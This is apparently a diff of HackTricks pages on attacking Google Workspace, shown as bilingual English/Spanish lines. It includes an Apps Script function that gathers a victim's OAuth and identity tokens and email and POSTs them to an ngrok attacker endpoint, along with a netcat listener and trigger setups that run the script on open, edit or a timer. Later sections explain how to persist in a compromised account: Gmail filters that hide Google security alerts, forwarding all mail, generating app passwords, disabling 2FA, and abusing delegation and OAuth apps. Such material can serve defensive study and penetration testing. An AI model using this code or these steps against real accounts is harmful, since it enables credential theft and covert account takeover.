var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
Para capturar la solicitud, simplemente puedes ejecutar:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
Permisos solicitados para ejecutar el App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
> Como se realiza una solicitud externa, el aviso de OAuth también **pedirá permiso para acceder a puntos finales externos**.
|
||||
|
||||
### Create Trigger
|
||||
### Crear Trigger
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
Una vez que se lea la App, haz clic en **⏰ Triggers** para crear un trigger. Como **función** a ejecutar elige **`getToken`**, se ejecuta en la implementación **`Head`**, en la fuente del evento selecciona **`From spreadsheet`** y en el tipo de evento selecciona **`On open`** o **`On edit`** (según tus necesidades) y guarda.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
Ten en cuenta que puedes verificar los **ejecutores de los App Scripts en la pestaña de Ejecuciones** si deseas depurar algo.
|
||||
|
||||
### Sharing
|
||||
### Compartir
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
Para **activar** el **App Script**, la víctima necesita conectarse con **Acceso de Editor**.
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
> El **token** utilizado para ejecutar el **App Script** será el del **creador del trigger**, incluso si el archivo es abierto como Editor por otros usuarios.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
### Abusando de documentos Compartidos Conmigo
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
> Si alguien **compartió contigo un documento con App Scripts y un trigger usando el Head** del App Script (no una implementación fija), puedes modificar el código del App Script (agregando por ejemplo las funciones de robo de token), acceder a él, y el **App Script se ejecutará con los permisos del usuario que compartió el documento contigo**! (ten en cuenta que el token OAuth del propietario tendrá como ámbitos de acceso los que se dieron cuando se creó el trigger).
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
> Una **notificación será enviada al creador del script indicando que alguien modificó el script** (¿Qué tal usar permisos de gmail para generar un filtro y prevenir la alerta?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
> Si un **atacante modifica los ámbitos del App Script**, las actualizaciones **no se aplicarán** al documento hasta que se cree un **nuevo trigger** con los cambios. Por lo tanto, un atacante no podrá robar el token del propietario creador con más ámbitos que los que estableció en el trigger que creó.
|
||||
|
||||
### Copying instead of sharing
|
||||
### Copiar en lugar de compartir
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
Cuando creas un enlace para compartir un documento, se crea un enlace similar a este: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
Si **cambias** el final **"/edit"** por **"/copy"**, en lugar de acceder, Google te preguntará si deseas **generar una copia del documento:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
Si el usuario lo copia y accede, tanto el **contenido del documento como los App Scripts serán copiados**, sin embargo, los **triggers no lo son**, por lo tanto, **nada se ejecutará**.
|
||||
|
||||
### Sharing as Web Application
|
||||
### Compartir como Aplicación Web
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
Ten en cuenta que también es posible **compartir un App Script como una aplicación web** (en el Editor del App Script, implementar como una aplicación web), pero aparecerá una alerta como esta:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
Seguido del **aviso típico de OAuth pidiendo** los permisos necesarios.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
### Pruebas
|
||||
|
||||
Puedes probar un token recopilado para listar correos con:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
Lista de calendario del usuario:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
## App Script como Persistencia
|
||||
|
||||
## App Script as Persistence
|
||||
Una opción para la persistencia sería **crear un documento y agregar un disparador para la función getToken** y compartir el documento con el atacante para que cada vez que el atacante abra el archivo, **exfiltre el token de la víctima.**
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
También es posible crear un App Script y hacer que se dispare cada X tiempo (como cada minuto, hora, día...). Un atacante que ha **comprometido credenciales o una sesión de una víctima podría establecer un disparador de tiempo de App Script y filtrar un token OAuth muy privilegiado cada día**:
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
Solo crea un App Script, ve a Disparadores, haz clic en Agregar Disparador y selecciona como fuente de evento Basado en tiempo y selecciona las opciones que mejor se adapten a ti:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
> Esto creará un correo electrónico de alerta de seguridad y un mensaje push a tu móvil alertando sobre esto.
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
### Bypass de Aviso No Verificado de Documento Compartido
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
Además, si alguien **compartió** contigo un documento con **acceso de editor**, puedes generar **App Scripts dentro del documento** y el **PROPIETARIO (creador) del documento será el propietario del App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
> Esto significa que el **creador del documento aparecerá como creador de cualquier App Script** que cualquiera con acceso de editor cree dentro de él.
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
> Esto también significa que el **App Script será confiable por el entorno de Workspace** del creador del documento.
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
> Esto también significa que si un **App Script ya existía** y las personas han **otorgado acceso**, cualquiera con permiso de **Editor** en el documento puede **modificarlo y abusar de ese acceso.**\
|
||||
> Para abusar de esto también necesitas que las personas disparen el App Script. Y un truco ingenioso es **publicar el script como una aplicación web**. Cuando las **personas** que ya otorgaron **acceso** al App Script accedan a la página web, **dispararán el App Script** (esto también funciona usando etiquetas `<img>`).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,186 +1,182 @@
|
||||
# GWS - Persistence
|
||||
# GWS - Persistencia
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
|
||||
> Todas las acciones mencionadas en esta sección que cambian la configuración generarán una **alerta de seguridad al correo electrónico e incluso una notificación push a cualquier móvil sincronizado** con la cuenta.
|
||||
|
||||
## **Persistence in Gmail**
|
||||
## **Persistencia en Gmail**
|
||||
|
||||
- You can create **filters to hide** security notifications from Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
|
||||
- Puedes crear **filtros para ocultar** notificaciones de seguridad de Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- Esto evitará que los correos electrónicos de seguridad lleguen al correo (pero no evitará las notificaciones push al móvil)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steps to create a gmail filter</summary>
|
||||
<summary>Pasos para crear un filtro de gmail</summary>
|
||||
|
||||
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
|
||||
(Instrucciones de [**aquí**](https://support.google.com/mail/answer/6579))
|
||||
|
||||
1. Open [Gmail](https://mail.google.com/).
|
||||
2. In the search box at the top, click Show search options  .
|
||||
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
|
||||
4. At the bottom of the search window, click **Create filter**.
|
||||
5. Choose what you’d like the filter to do.
|
||||
6. Click **Create filter**.
|
||||
1. Abre [Gmail](https://mail.google.com/).
|
||||
2. En el cuadro de búsqueda en la parte superior, haz clic en Mostrar opciones de búsqueda .
|
||||
3. Ingresa tus criterios de búsqueda. Si deseas verificar que tu búsqueda funcionó correctamente, ve qué correos aparecen haciendo clic en **Buscar**.
|
||||
4. En la parte inferior de la ventana de búsqueda, haz clic en **Crear filtro**.
|
||||
5. Elige lo que te gustaría que hiciera el filtro.
|
||||
6. Haz clic en **Crear filtro**.
|
||||
|
||||
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
Revisa tu filtro actual (para eliminarlos) en [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
|
||||
- Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- The receiving address will need to confirm this
|
||||
- Then, set to forward all the emails while keeping a copy (remember to click on save changes):
|
||||
- Crea **una dirección de reenvío para reenviar información sensible** (o todo) - Necesitas acceso manual.
|
||||
- Crea una dirección de reenvío en [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- La dirección receptora necesitará confirmar esto
|
||||
- Luego, configura para reenviar todos los correos mientras mantienes una copia (recuerda hacer clic en guardar cambios):
|
||||
|
||||
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible create filters and forward only specific emails to the other email address.
|
||||
También es posible crear filtros y reenviar solo correos específicos a la otra dirección de correo.
|
||||
|
||||
## App passwords
|
||||
## Contraseñas de aplicaciones
|
||||
|
||||
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
|
||||
Si lograste **comprometer una sesión de usuario de Google** y el usuario tenía **2FA**, puedes **generar** una [**contraseña de aplicación**](https://support.google.com/accounts/answer/185833?hl=en) (sigue el enlace para ver los pasos). Ten en cuenta que **las contraseñas de aplicación ya no son recomendadas por Google y son revocadas** cuando el usuario **cambia su contraseña de Google Account.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to create an app password.**
|
||||
**Incluso si tienes una sesión abierta, necesitarás conocer la contraseña del usuario para crear una contraseña de aplicación.**
|
||||
|
||||
> [!NOTE]
|
||||
> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
|
||||
> Las contraseñas de aplicación **solo pueden ser utilizadas con cuentas que tienen la Verificación en 2 Pasos** activada.
|
||||
|
||||
## Change 2-FA and similar
|
||||
## Cambiar 2-FA y similar
|
||||
|
||||
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
|
||||
También es posible **desactivar 2-FA o inscribir un nuevo dispositivo** (o número de teléfono) en esta página [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**También es posible generar claves de acceso (agregar tu propio dispositivo), cambiar la contraseña, agregar números móviles para teléfonos de verificación y recuperación, cambiar el correo electrónico de recuperación y cambiar las preguntas de seguridad).**
|
||||
|
||||
> [!CAUTION]
|
||||
> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
|
||||
> Para **evitar que las notificaciones push de seguridad** lleguen al teléfono del usuario, podrías **cerrar sesión en su smartphone** (aunque eso sería raro) porque no puedes volver a iniciar sesión desde aquí.
|
||||
>
|
||||
> It's also possible to **locate the device.**
|
||||
> También es posible **localizar el dispositivo.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to change these settings.**
|
||||
**Incluso si tienes una sesión abierta, necesitarás conocer la contraseña del usuario para cambiar estas configuraciones.**
|
||||
|
||||
## Persistence via OAuth Apps
|
||||
## Persistencia a través de aplicaciones OAuth
|
||||
|
||||
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
|
||||
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
|
||||
Si has **comprometido la cuenta de un usuario**, puedes simplemente **aceptar** otorgar todos los permisos posibles a una **aplicación OAuth**. El único problema es que Workspace puede configurarse para **no permitir aplicaciones OAuth externas y/o internas no revisadas.**\
|
||||
Es bastante común que las organizaciones de Workspace no confíen por defecto en aplicaciones OAuth externas, pero confíen en las internas, así que si tienes **suficientes permisos para generar una nueva aplicación OAuth** dentro de la organización y las aplicaciones externas están deshabilitadas, créala y **usa esa nueva aplicación OAuth interna para mantener la persistencia**.
|
||||
|
||||
Check the following page for more information about OAuth Apps:
|
||||
Consulta la siguiente página para más información sobre aplicaciones OAuth:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence via delegation
|
||||
## Persistencia a través de delegación
|
||||
|
||||
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
|
||||
Puedes **delegar la cuenta** a una cuenta diferente controlada por el atacante (si se te permite hacer esto). En las **Organizaciones** de Workspace, esta opción debe estar **habilitada**. Puede estar deshabilitada para todos, habilitada para algunos usuarios/grupos o para todos (generalmente solo está habilitada para algunos usuarios/grupos o completamente deshabilitada).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>If you are a Workspace admin check this to enable the feature</summary>
|
||||
<summary>Si eres un administrador de Workspace, verifica esto para habilitar la función</summary>
|
||||
|
||||
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
|
||||
(Información [copiada de la documentación](https://support.google.com/a/answer/7223765))
|
||||
|
||||
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
|
||||
Como administrador de tu organización (por ejemplo, tu trabajo o escuela), controlas si los usuarios pueden delegar acceso a su cuenta de Gmail. Puedes permitir que todos tengan la opción de delegar su cuenta. O, solo permitir que personas de ciertos departamentos configuren la delegación. Por ejemplo, puedes:
|
||||
|
||||
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
|
||||
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
|
||||
- Agregar un asistente administrativo como delegado en tu cuenta de Gmail para que pueda leer y enviar correos electrónicos en tu nombre.
|
||||
- Agregar un grupo, como tu departamento de ventas, en Grupos como delegado para dar acceso a todos a una cuenta de Gmail.
|
||||
|
||||
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
|
||||
Los usuarios solo pueden delegar acceso a otro usuario en la misma organización, independientemente de su dominio o unidad organizativa.
|
||||
|
||||
#### Delegation limits & restrictions
|
||||
#### Límites y restricciones de delegación
|
||||
|
||||
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
|
||||
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
|
||||
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
|
||||
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
|
||||
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
|
||||
- **Permitir a los usuarios otorgar acceso a su buzón a un grupo de Google** opción: Para usar esta opción, debe estar habilitada para la OU de la cuenta delegada y para la OU de cada miembro del grupo. Los miembros del grupo que pertenecen a una OU sin esta opción habilitada no pueden acceder a la cuenta delegada.
|
||||
- Con el uso típico, 40 usuarios delegados pueden acceder a una cuenta de Gmail al mismo tiempo. Un uso superior al promedio por uno o más delegados podría reducir este número.
|
||||
- Los procesos automatizados que acceden frecuentemente a Gmail también podrían reducir el número de delegados que pueden acceder a una cuenta al mismo tiempo. Estos procesos incluyen APIs o extensiones de navegador que acceden a Gmail con frecuencia.
|
||||
- Una sola cuenta de Gmail admite hasta 1,000 delegados únicos. Un grupo en Grupos cuenta como un delegado hacia el límite.
|
||||
- La delegación no aumenta los límites para una cuenta de Gmail. Las cuentas de Gmail con usuarios delegados tienen los límites y políticas estándar de la cuenta de Gmail. Para más detalles, visita [Límites y políticas de Gmail](https://support.google.com/a/topic/28609).
|
||||
|
||||
#### Step 1: Turn on Gmail delegation for your users
|
||||
#### Paso 1: Activar la delegación de Gmail para tus usuarios
|
||||
|
||||
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
**Antes de comenzar:** Para aplicar la configuración a ciertos usuarios, coloca sus cuentas en una [unidad organizativa](https://support.google.com/a/topic/1227584).
|
||||
|
||||
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
|
||||
1. [Inicia sesión](https://admin.google.com/) en tu [consola de administración de Google](https://support.google.com/a/answer/182076).
|
||||
|
||||
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
|
||||
Inicia sesión usando una _cuenta de administrador_, no tu cuenta actual CarlosPolop@gmail.com
|
||||
|
||||
2. In the Admin console, go to Menu  **Apps****Google Workspace****Gmail****User settings**.
|
||||
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
4. Click **Mail delegation**.
|
||||
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
|
||||
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
|
||||
7. Select an option for the default sender information that's included in messages sent by delegates:
|
||||
- **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
|
||||
- **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
|
||||
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
|
||||
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
|
||||
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
|
||||
2. En la consola de administración, ve a Menú  **Aplicaciones****Google Workspace****Gmail****Configuración del usuario**.
|
||||
3. Para aplicar la configuración a todos, deja seleccionada la unidad organizativa superior. De lo contrario, selecciona una [unidad organizativa](https://support.google.com/a/topic/1227584) secundaria.
|
||||
4. Haz clic en **Delegación de correo**.
|
||||
5. Marca la casilla **Permitir a los usuarios delegar acceso a su buzón a otros usuarios en el dominio**.
|
||||
6. (Opcional) Para permitir a los usuarios especificar qué información del remitente se incluye en los mensajes delegados enviados desde su cuenta, marca la casilla **Permitir a los usuarios personalizar esta configuración**.
|
||||
7. Selecciona una opción para la información del remitente predeterminada que se incluye en los mensajes enviados por los delegados:
|
||||
- **Mostrar al propietario de la cuenta y al delegado que envió el correo**—Los mensajes incluyen las direcciones de correo electrónico del propietario de la cuenta de Gmail y del delegado.
|
||||
- **Mostrar solo al propietario de la cuenta**—Los mensajes incluyen la dirección de correo electrónico solo del propietario de la cuenta de Gmail. La dirección de correo electrónico del delegado no se incluye.
|
||||
8. (Opcional) Para permitir a los usuarios agregar un grupo en Grupos como delegado, marca la casilla **Permitir a los usuarios otorgar acceso a su buzón a un grupo de Google**.
|
||||
9. Haz clic en **Guardar**. Si configuraste una unidad organizativa secundaria, es posible que puedas **Heredar** o **Anular** la configuración de una unidad organizativa principal.
|
||||
10. (Opcional) Para activar la delegación de Gmail para otras unidades organizativas, repite los pasos 3–9.
|
||||
|
||||
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
|
||||
Los cambios pueden tardar hasta 24 horas, pero generalmente ocurren más rápido. [Aprende más](https://support.google.com/a/answer/7514107)
|
||||
|
||||
#### Step 2: Have users set up delegates for their accounts
|
||||
#### Paso 2: Haz que los usuarios configuren delegados para sus cuentas
|
||||
|
||||
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
|
||||
Después de activar la delegación, tus usuarios van a la configuración de Gmail para asignar delegados. Los delegados pueden leer, enviar y recibir mensajes en nombre del usuario.
|
||||
|
||||
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
|
||||
Para más detalles, dirige a los usuarios a [Delegar y colaborar en correos electrónicos](https://support.google.com/a/users/answer/138350).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
|
||||
<summary>Desde un usuario regular, verifica aquí las instrucciones para intentar delegar tu acceso</summary>
|
||||
|
||||
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
|
||||
(Info copiada [**de la documentación**](https://support.google.com/mail/answer/138350))
|
||||
|
||||
You can add up to 10 delegates.
|
||||
Puedes agregar hasta 10 delegados.
|
||||
|
||||
If you're using Gmail through your work, school, or other organization:
|
||||
Si estás usando Gmail a través de tu trabajo, escuela u otra organización:
|
||||
|
||||
- You can add up to 1000 delegates within your organization.
|
||||
- With typical use, 40 delegates can access a Gmail account at the same time.
|
||||
- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
|
||||
- Puedes agregar hasta 1000 delegados dentro de tu organización.
|
||||
- Con el uso típico, 40 delegados pueden acceder a una cuenta de Gmail al mismo tiempo.
|
||||
- Si usas procesos automatizados, como APIs o extensiones de navegador, unos pocos delegados pueden acceder a una cuenta de Gmail al mismo tiempo.
|
||||
|
||||
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
|
||||
2. In the top right, click Settings   **See all settings**.
|
||||
3. Click the **Accounts and Import** or **Accounts** tab.
|
||||
4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
|
||||
- If you don't see Grant access to your account, then it's restricted.
|
||||
5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
|
||||
\
|
||||
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
|
||||
1. En tu computadora, abre [Gmail](https://mail.google.com/). No puedes agregar delegados desde la aplicación de Gmail.
|
||||
2. En la parte superior derecha, haz clic en Configuración   **Ver toda la configuración**.
|
||||
3. Haz clic en la pestaña **Cuentas e importación** o **Cuentas**.
|
||||
4. En la sección "Otorgar acceso a tu cuenta", haz clic en **Agregar otra cuenta**. Si estás usando Gmail a través de tu trabajo o escuela, tu organización puede restringir la delegación de correo electrónico. Si no ves esta configuración, contacta a tu administrador.
|
||||
- Si no ves Otorgar acceso a tu cuenta, entonces está restringido.
|
||||
5. Ingresa la dirección de correo electrónico de la persona que deseas agregar. Si estás usando Gmail a través de tu trabajo, escuela u otra organización, y tu administrador lo permite, puedes ingresar la dirección de correo electrónico de un grupo. Este grupo debe tener el mismo dominio que tu organización. Los miembros externos del grupo no tienen acceso a la delegación.\
|
||||
\
|
||||
**Importante:** Si la cuenta que delegas es una cuenta nueva o la contraseña fue restablecida, el administrador debe desactivar el requisito de cambiar la contraseña cuando inicies sesión por primera vez.
|
||||
|
||||
- [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
|
||||
- [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
|
||||
- [Aprende cómo un administrador puede crear un usuario](https://support.google.com/a/answer/33310).
|
||||
- [Aprende cómo un administrador puede restablecer contraseñas](https://support.google.com/a/answer/33319).
|
||||
|
||||
6\. Click **Next Step**  **Send email to grant access**.
|
||||
6. Haz clic en **Siguiente paso**  **Enviar correo para otorgar acceso**.
|
||||
|
||||
The person you added will get an email asking them to confirm. The invitation expires after a week.
|
||||
La persona que agregaste recibirá un correo pidiéndole que confirme. La invitación expira después de una semana.
|
||||
|
||||
If you added a group, all group members will become delegates without having to confirm.
|
||||
Si agregaste un grupo, todos los miembros del grupo se convertirán en delegados sin necesidad de confirmar.
|
||||
|
||||
Note: It may take up to 24 hours for the delegation to start taking effect.
|
||||
Nota: Puede tardar hasta 24 horas para que la delegación comience a tener efecto.
|
||||
|
||||
</details>
|
||||
|
||||
## Persistence via Android App
|
||||
